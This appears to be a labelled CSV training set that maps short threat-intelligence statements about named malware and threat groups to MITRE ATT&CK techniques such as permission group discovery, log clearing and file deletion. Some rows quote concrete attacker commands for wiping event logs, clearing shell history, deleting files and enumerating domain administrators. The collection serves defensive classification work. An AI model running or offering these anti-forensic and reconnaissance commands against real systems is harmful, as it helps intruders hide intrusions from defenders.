Wingbird exploits CVE-2016-4117 to allow an executable to gain escalated privileges.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
ZIRCONIUM has exploited CVE-2017-0005 for local privilege escalation.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
Zox has the ability to leverage local and remote exploits to escalate privileges.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
"APT29 used the ""Get-ManagementRoleAssignment"" PowerShell cmdlet to enumerate Exchange management role assignments through an Exchange Management Shell.",['T1069 - Permission Groups Discovery'],fine_tune
APT3 has a tool that can enumerate the permissions associated with Windows groups.,['T1069 - Permission Groups Discovery'],fine_tune
IcedID has the ability to identify Workgroup membership.,['T1069 - Permission Groups Discovery'],fine_tune
MURKYTOP has the capability to retrieve information about groups.,['T1069 - Permission Groups Discovery'],fine_tune
PUNCHBUGGY can gather domain and workgroup information.,['T1069 - Permission Groups Discovery'],fine_tune
"TA505 has used TinyMet to enumerate members of privileged groups. TA505 has also run ""net group /domain"".",['T1069 - Permission Groups Discovery'],fine_tune
"UNC2452 used the ""Get-ManagementRoleAssignment"" PowerShell cmdlet to enumerate Exchange management role assignments through an Exchange Management Shell.",['T1069 - Permission Groups Discovery'],fine_tune
"Chimera has used ""net localgroup administrators"" to identify  accounts with local administrative rights.",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"Cobalt Strike can use ""net localgroup"" to list local groups on a system.",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"Commands such as ""net group"" and ""net localgroup"" can be used in Net to gather information about and manipulate groups.",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"During C0015, the threat actors used the command `net localgroup ""adminstrator"" ` to identify accounts with local administrator rights.",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"During Operation CuckooBees, the threat actors used the `net group` command as part of their advanced reconnaissance.",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"During Operation Wocao, threat actors used the command `net localgroup administrators` to list all administrators part of a local group.",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"Emissary has the capability to execute the command ""net localgroup administrators"".",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
Epic gathers information on local group names.,['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"Flagpro has been used to execute the ""net localgroup administrators"" command on a targeted system.",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
Helminth has checked the local administrators group.,['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
JPIN can obtain the permissions of the victim user.,['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
Kazuar gathers information about local groups and members.,['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"Kwampirs collects a list of users belonging to the local users and administrators groups with the commands ""net localgroup administrators"" and ""net localgroup users"".",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
OSInfo has enumerated the local administrators group.,['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"OilRig has used ""net localgroup administrators"" to find local administrators on compromised systems.",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"POWRUNER may collect local group information by running ""net localgroup administrators"" or a series of other commands on a victim.",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"PoshC2 contains modules, such as ""Get-LocAdm"" for enumerating permission groups.",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"QakBot can use ""net localgroup"" to enable discovery of local groups.",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"Tonto Team has used the ""ShowLocalGroupDetails"" command to identify administrator, user, and guest accounts on a compromised host.",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"Turla has used ""net localgroup"" and ""net localgroup Administrators"" to enumerate group information, including members of the local administrators group.",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
"admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to list local groups: ""net localgroup administrator >> %temp%\download""",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
APT29 has used AdFind to enumerate domain groups.,['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
AdFind can enumerate domain groups.,['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
BloodHound can collect information about domain groups and members.,['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
Cobalt Strike can identify targets by querying account groups on a domain contoller.,['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
"Commands such as ""net group /domain"" can be used in Net to gather information about and manipulate groups.",['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
CrackMapExec can gather the user accounts within domain groups.,['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
Dragonfly 2.0 used batch scripts to enumerate administrators and users in the domain.,['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
"During C0015, the threat actors use the command `net group ""domain admins"" /dom` to enumerate domain groups.",['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
"Helminth has checked for the domain admin group and Exchange Trusted Subsystem groups using the commands ""net group Exchange Trusted Subsystem /domain"" and ""net group domain admins /domain"".",['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
Inception has used specific malware modules to gather domain membership.,['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
"Ke3chang performs discovery of permission groups ""net group /domain"".",['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
"Kwampirs collects a list of domain groups with the command ""net localgroup /domain"".",['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
LAPSUS$ has used the AD Explorer tool to enumerate groups on a victim's network.,['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
OSInfo specifically looks for Domain Admins and power users within the domain.,['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
REvil can identify the domain membership of a compromised host.,['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
"SoreFang can enumerate domain groups by executing ""net.exe group /domain"".",['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
"Turla has used ""net group ""Domain Admins"" /domain"" to identify domain administrators.",['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
WellMess can identify domain group membership for the current user.,['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
"Wizard Spider has used ""AdFind.exe"" to collect information about Active Directory groups and accounts.",['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
dsquery can be used to gather information on permission groups within a domain.,['T1069.002 - Permission Groups Discovery: Domain Groups'],fine_tune
AADInternals can enumerate Azure AD groups.,['T1069.003 - Cloud Groups'],fine_tune
ROADTools can enumerate Azure AD groups.,['T1069.003 - Cloud Groups'],fine_tune
"APT29 temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file.",['T1070 - Indicator Removal on Host'],fine_tune
APT29 used SDelete to remove artifacts from victims.,['T1070 - Indicator Removal on Host'],fine_tune
Bankshot deletes all artifacts associated with the malware from the infected machine.,['T1070 - Indicator Removal on Host'],fine_tune
Bazar's loader can delete scheduled tasks created by a previous instance of the malware.,"['T1070 - Indicator Removal on Host', 'T1070.009 - Clear Persistence']",fine_tune
"BlackEnergy has removed the watermark associated with enabling the ""TESTSIGNING"" boot configuration option by removing the relevant strings in the ""user32.dll.mui"" of the system.",['T1070 - Indicator Removal on Host'],fine_tune
Donut can erase file references to payloads in-memory after being reflectively loaded and executed.,['T1070 - Indicator Removal on Host'],fine_tune
"Dragonfly deleted system, security, terminal services, remote services, and audit logs from a victim.",['T1070 - Indicator Removal on Host'],fine_tune
"EVILNUM has a function called ""DeleteLeftovers"" to remove certain artifacts of the attack.",['T1070 - Indicator Removal on Host'],fine_tune
Flagpro can close specific Windows Security and Internet Explorer dialog boxes to mask external connections.,['T1070 - Indicator Removal on Host'],fine_tune
Goopy has the ability to delete emails used for C2 once the content has been copied.,"['T1070 - Indicator Removal on Host', 'T1070.008 - Email Collection: Mailbox Manipulation']",fine_tune
GrimAgent can delete previously created tasks on a compromised host.,"['T1070 - Indicator Removal on Host', 'T1070.009 - Clear Persistence']",fine_tune
HermeticWiper can disable pop-up information about folders and desktop items and delete Registry keys to hide malicious services.,['T1070 - Indicator Removal on Host'],fine_tune
KOCTOPUS can delete created registry keys as part of its cleanup procedure.,['T1070 - Indicator Removal on Host'],fine_tune
Lazarus Group has restored malicious KernelCallbackTable code to its original state after the process execution flow has been hijacked.,['T1070 - Indicator Removal on Host'],fine_tune
"Maze has used the “Wow64RevertWow64FsRedirection” function following attempts to delete the shadow volumes, in order to leave the system in the same state as it was prior to redirection.",['T1070 - Indicator Removal on Host'],fine_tune
"Metamorfo has a command to delete a Registry key it uses, ""\Software\Microsoft\Internet Explorer\notes"".",['T1070 - Indicator Removal on Host'],fine_tune
Misdat is capable of deleting Registry keys used for persistence.,"['T1070 - Indicator Removal on Host', 'T1070.009 - Clear Persistence']",fine_tune
Neoichor can clear the browser history on a compromised host by changing the `ClearBrowsingHistoryOnExit` value to 1 in the `HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Privacy` Registry key.,['T1070 - Indicator Removal on Host'],fine_tune
Orz can overwrite Registry settings to reduce its visibility on the victim.,['T1070 - Indicator Removal on Host'],fine_tune
Pillowmint can uninstall the malicious service from an infected machine.,"['T1070 - Indicator Removal on Host', 'T1070.009 - Clear Persistence']",fine_tune
RTM has the ability to remove Registry entries that it created during execution.,['T1070 - Indicator Removal on Host'],fine_tune
Rising Sun can clear a memory blog in the process by overwriting it with junk bytes.,['T1070 - Indicator Removal on Host'],fine_tune
S-Type has deleted accounts it has created.,['T1070 - Indicator Removal on Host'],fine_tune
SDBbot has the ability to clean up and remove data structures from a compromised host.,['T1070 - Indicator Removal on Host'],fine_tune
"SILENTTRINITY can remove artifacts from the compromised host, including created Registry keys.",['T1070 - Indicator Removal on Host'],fine_tune
ShadowPad has deleted arbitrary Registry values.,['T1070 - Indicator Removal on Host'],fine_tune
Sibot will delete an associated registry key if a certain server response is received.,['T1070 - Indicator Removal on Host'],fine_tune
"UNC2452 removed evidence of email export requests using ""Remove-MailboxExportRequest"". They temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file.",['T1070 - Indicator Removal on Host'],fine_tune
njRAT is capable of manipulating and deleting registry keys.,['T1070 - Indicator Removal on Host'],fine_tune
"APT28 has cleared event logs, including by using the commands ""wevtutil cl System"" and ""wevtutil cl Security"".",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
APT32 has cleared select event log entries.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
APT38 clears Window Event logs and Sysmon logs from the system.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
APT41 attempted to remove evidence of some of its activity by clearing Windows security and system events.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
"Dragonfly 2.0 cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs. The actors also deleted specific Registry keys.",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
"Dragonfly has cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs. The actors also deleted specific Registry keys.",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
"During Operation Wocao, the threat actors deleted all Windows system and security event logs using `/Q /c wevtutil cl system` and `/Q /c wevtutil cl security`.",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
FIN5 has cleared event logs from victims.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
FIN8 has cleared logs during post compromise cleanup activities.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
"FinFisher clears the system event logs using "" OpenEventLog/ClearEventLog APIs "".",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
HermeticWizard has the ability to use `wevtutil cl system` to clear event logs.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
Hydraq creates a backdoor through which remote attackers can clear all system event logs.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
Indrik Spider has used Cobalt Strike to empty log files.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
"KillDisk deletes Application, Security, Setup, and System Windows Event Logs.",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
Lucifer can clear and remove event logs.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
"Meteor can use Wevtutil to remove Security, System and Application Event Viewer logs.",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
"NotPetya uses ""wevtutil"" to clear the Windows event logs.",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
"Olympic Destroyer will attempt to clear the System and Security event logs using ""wevtutil"".",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
Operation Wocao has deleted Windows Event Logs to hinder forensic investigation.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
Pupy has a module to clear event logs with PowerShell.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
RunningRAT contains code to clear event logs.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
The BlackEnergy component KillDisk is capable of deleting Windows Event Logs.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
ZxShell has a command to clear system event logs.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
MacMa can clear possible malware traces such as application logs.,"['T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs']",fine_tune
"Proton removes logs from ""/var/logs"" and ""/Library/logs"".","['T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs']",fine_tune
"TeamTNT has removed system logs from ""/var/log/syslog"".","['T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs']",fine_tune
APT41 attempted to remove evidence of some of its activity by deleting Bash histories.,['T1070.003 - Indicator Removal on Host: Clear Command History'],fine_tune
Hildegard has used history -c to clear script shell logs.,['T1070.003 - Indicator Removal on Host: Clear Command History'],fine_tune
Kobalos can remove all command history on compromised hosts.,['T1070.003 - Indicator Removal on Host: Clear Command History'],fine_tune
"Lazarus Group has routinely deleted log files on a compromised router, including automatic log deletion through the use of the logrotate utility.",['T1070.003 - Indicator Removal on Host: Clear Command History'],fine_tune
Magic Hound has removed mailbox export requests from compromised Exchange servers.,['T1070.003 - Indicator Removal on Host: Clear Command History'],fine_tune
"TeamTNT has cleared command history with ""history -c"".",['T1070.003 - Indicator Removal on Host: Clear Command History'],fine_tune
A menuPass macro deletes files after it has decoded and decompressed them.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
ADVSTORESHELL can delete files and directories.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
APT18 actors deleted tools and batch files from victim systems.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"APT28 has intentionally deleted computer files to cover their tracks, including with use of the program CCleaner.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"APT29 routinely removed their tools, including custom backdoors, once remote access was achieved. APT29 has also used SDelete to remove artifacts from victims.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
APT3 has a tool that can delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
APT32's macOS backdoor can receive a “delete” command.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"APT38 has used a utility called CLOSESHAVE that can securely delete a file from the system. They have also removed malware, tools, or other non-native files used during the intrusion to reduce their footprint or as part of the post-intrusion cleanup process.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
APT39 has used malware to delete files after they are deployed on a compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"After encrypting its own log files, the log encryption module in Prikormka deletes the original, unencrypted files from the host.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Anchor can self delete its dropper after the malware is successfully deployed.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
AppleJeus has deleted the MSI file after installation.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Aquatic Panda has deleted malicious executables from compromised machines.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Aria-body has the ability to delete files and directories on compromised hosts.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
AuditCred can delete files from the system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Azorult can delete files from victim machines.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
BBSRAT can delete files and directories.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
BLINDINGCAN has deleted itself and associated artifacts from victim machines.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
BLUELIGHT can uninstall itself.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
BabyShark has cleaned up all files associated with the secondary payload execution.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Backdoor.Oldrea contains a cleanup module that removes traces of itself from the victim.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Bandook has a command to delete a file.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Bankshot marks files to be deleted upon the next system reboot and uninstalls and removes itself from the system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Bumblebee can uninstall its loader through the use of a `Sdl` command.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
CARROTBAT has the ability to delete downloaded files from a compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
CSPY Downloader has the ability to self delete.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Calisto has the capability to use ""rm -rf"" to remove folders and files from the victim's machine.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Cardinal RAT can uninstall itself, including deleting its executable.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
CharmPower can delete created files from a compromised system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Chimera has performed file deletion to evade detection.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Crimson has the ability to delete files from a compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Cuba can use the command ""cmd.exe /c del"" to delete its artifacts from the system.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
DanBot can delete its configuration file after installation.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
DarkWatchman has been observed deleting its original launcher after installation.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Dragonfly 2.0 deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Dragonfly has deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Drovorub can delete specific files from a compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Dtrack can remove its persistence and delete itself.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"During Operation Honeybee, the threat actors used batch files that reduced their fingerprint on a compromised system by deleting malware-related files.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"During Operation Wocao, the threat actors consistently removed traces of their activity by first overwriting a file using `/c cd /d c:\windows\temp\ & copy \\<IP ADDRESS>\c$\windows\system32\devmgr.dll \\<IP ADDRESS>\c$\windows\temp\LMAKSW.ps1 /y` and then deleting the overwritten file using `/c cd /d c:\windows\temp\ & del \\<IP ADDRESS>\c$\windows\temp\LMAKSW.ps1`.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
DustySky can delete files it creates from the infected system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"ECCENTRICBANDWAGON can delete log files generated from the malware stored at ""C:\windows\temp\tmp0207"".",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
EvilBunny has deleted the initial dropper after running through the environment checks.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Evilnum has deleted files used during infection.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Exaramel for Linux can uninstall its persistence mechanism and delete its configuration file.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
FELIXROOT deletes the .LNK file from the startup directory as well as the dropper components.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
FIN10 has used batch scripts and scheduled tasks to delete critical system files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
FIN5 uses SDelete to clean up the environment and attempt to prevent detection.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
FIN6 has removed files from victim machines.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
FIN8 has deleted tmp and prefetch files during post compromise cleanup activities.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
FatDuke can secure delete its DLL.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Ferocious can delete files from a compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
FlawedAmmyy can execute batch scripts to delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
FruitFly will delete files on the system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Fysbis has the ability to delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Gamaredon Group tools can delete files used during an operation.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Gazer has commands to delete files and persistence mechanisms from the victim.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Gelsemium can delete its dropper component from the targeted system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Gold Dragon deletes one of its files, 2.hwp, from the endpoint after establishing persistence.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Green Lambert can delete the original executable after initial installation in addition to unused functions.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
GreyEnergy can securely delete a file by hooking into the DeleteFileA and DeleteFileW functions in the Windows API.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
GrimAgent can delete old binaries on a compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
HALFBAKED can delete a specified file.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
HAWKBALL has the ability to delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Hancitor has deleted files using the VBA ""kill"" function.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
HermeticWiper has the ability to overwrite its own file with random bites.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Hi-Zor deletes its RAT installer file as it executes its DLL payload file.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Hildegard has deleted scripts after execution.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"HotCroissant has the ability to clean up installed files, delete files, and delete itself from the victim’s machine.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Hydraq creates a backdoor through which remote attackers can delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
HyperBro has the ability to delete a specified file.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
IceApple can delete files and directories from targeted systems.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Imminent Monitor has deleted files related to its dynamic debugger feature.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
InnaputRAT has a command to delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
InvisiMole has deleted files and directories including XML and files successfully uploaded to C2 servers.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Ixeshe has a command to delete a file from the machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
JPIN's installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
KONNI can delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Kevin can delete files created on the victim's machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
KillDisk has the ability to quit and delete itself.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Kimsuky has deleted the exfiltrated data on disk after transmission. Kimsuky has also used an instrumentor script to terminate browser processes running on an infected system and then delete the cookie files on disk.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
LightNeuron has a function to delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Linfo creates a backdoor through which remote attackers can delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
LiteDuke can securely delete files by first writing random data to the file.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
LockerGoga has been observed deleting its original launcher after execution.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
LookBack removes itself after execution and can delete files on the system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
MURKYTOP has the capability to delete local files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
MacMa can delete itself from the compromised computer.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
MacSpy deletes any temporary files it creates,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Metamorfo has deleted itself from the system after execution.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Meteor will delete the folder containing malicious scripts if it detects the hostname as `PIS-APP`, `PIS-MOB`, `WSUSPROXY`, or `PIS-DB`.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Milan can delete files via `C:\Windows\system32\cmd.exe /c ping 1.1.1.1 -n 1 -w 3000 > Nul & rmdir /s /q`.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Misdat is capable of deleting the backdoor file.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
MoonWind can delete itself or specified files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Mosquito deletes files using DeleteFileW API call.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Mustang Panda will delete their tools and files, and kill processes after their objectives are reached.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
NOKKI can delete files to cover tracks.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Nebulae has the ability to delete files and directories.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
OSX_OCEANLOTUS.D has a command to delete a file from the system. OSX_OCEANLOTUS.D deletes the app bundle and dropper after execution.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
OceanSalt can delete files from the system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
OilRig has deleted files associated with their payload after execution.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Okrum's backdoor deletes files after they have been successfully uploaded to C2 servers.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Once a file is uploaded, Machete will delete it from the machine.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
OutSteel can delete itself following the successful execution of a follow-on payload.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
P.A.S. Webshell can delete scripts from a subdirectory of /tmp after they are run.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
PLEAD has the ability to delete files on the compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
PUNCHBUGGY can delete files written to disk.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Pasam creates a backdoor through which remote attackers can delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Pay2Key can remove its log file from disk.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
PcShare has deleted its files and components from a compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Penquin can delete downloaded executables after running them.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
PoetRAT has the ability to overwrite scripts and delete itself if a sandbox environment is detected.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Pony has used scripts to delete itself after execution.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
ProLock can remove files containing its payload after they are executed.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Pteranodon can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
PyDCrypt will remove all created artifacts such as dropped executables.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Pysa has deleted batch files after execution.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
QUADAGENT has a command to delete its Registry key and scheduled task.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
QakBot can delete folders and files including overwriting its executable with legitimate programs.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
RCSession can remove files from a targeted system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
RDAT can issue SOAP requests to delete already processed C2 emails. RDAT can also delete itself from the infected system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
RDFSNIFFER has the capability of deleting local files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
REvil can mark its binary code for deletion after reboot.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
ROKRAT can request to delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
RTM can delete all files created during its execution.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
RainyDay has the ability to uninstall itself by deleting its service and files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Reaver deletes the original dropped file from the victim.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Recent versions of Cherry Picker delete files and registry keys created by the malware.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
RedLeaves can delete specified files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
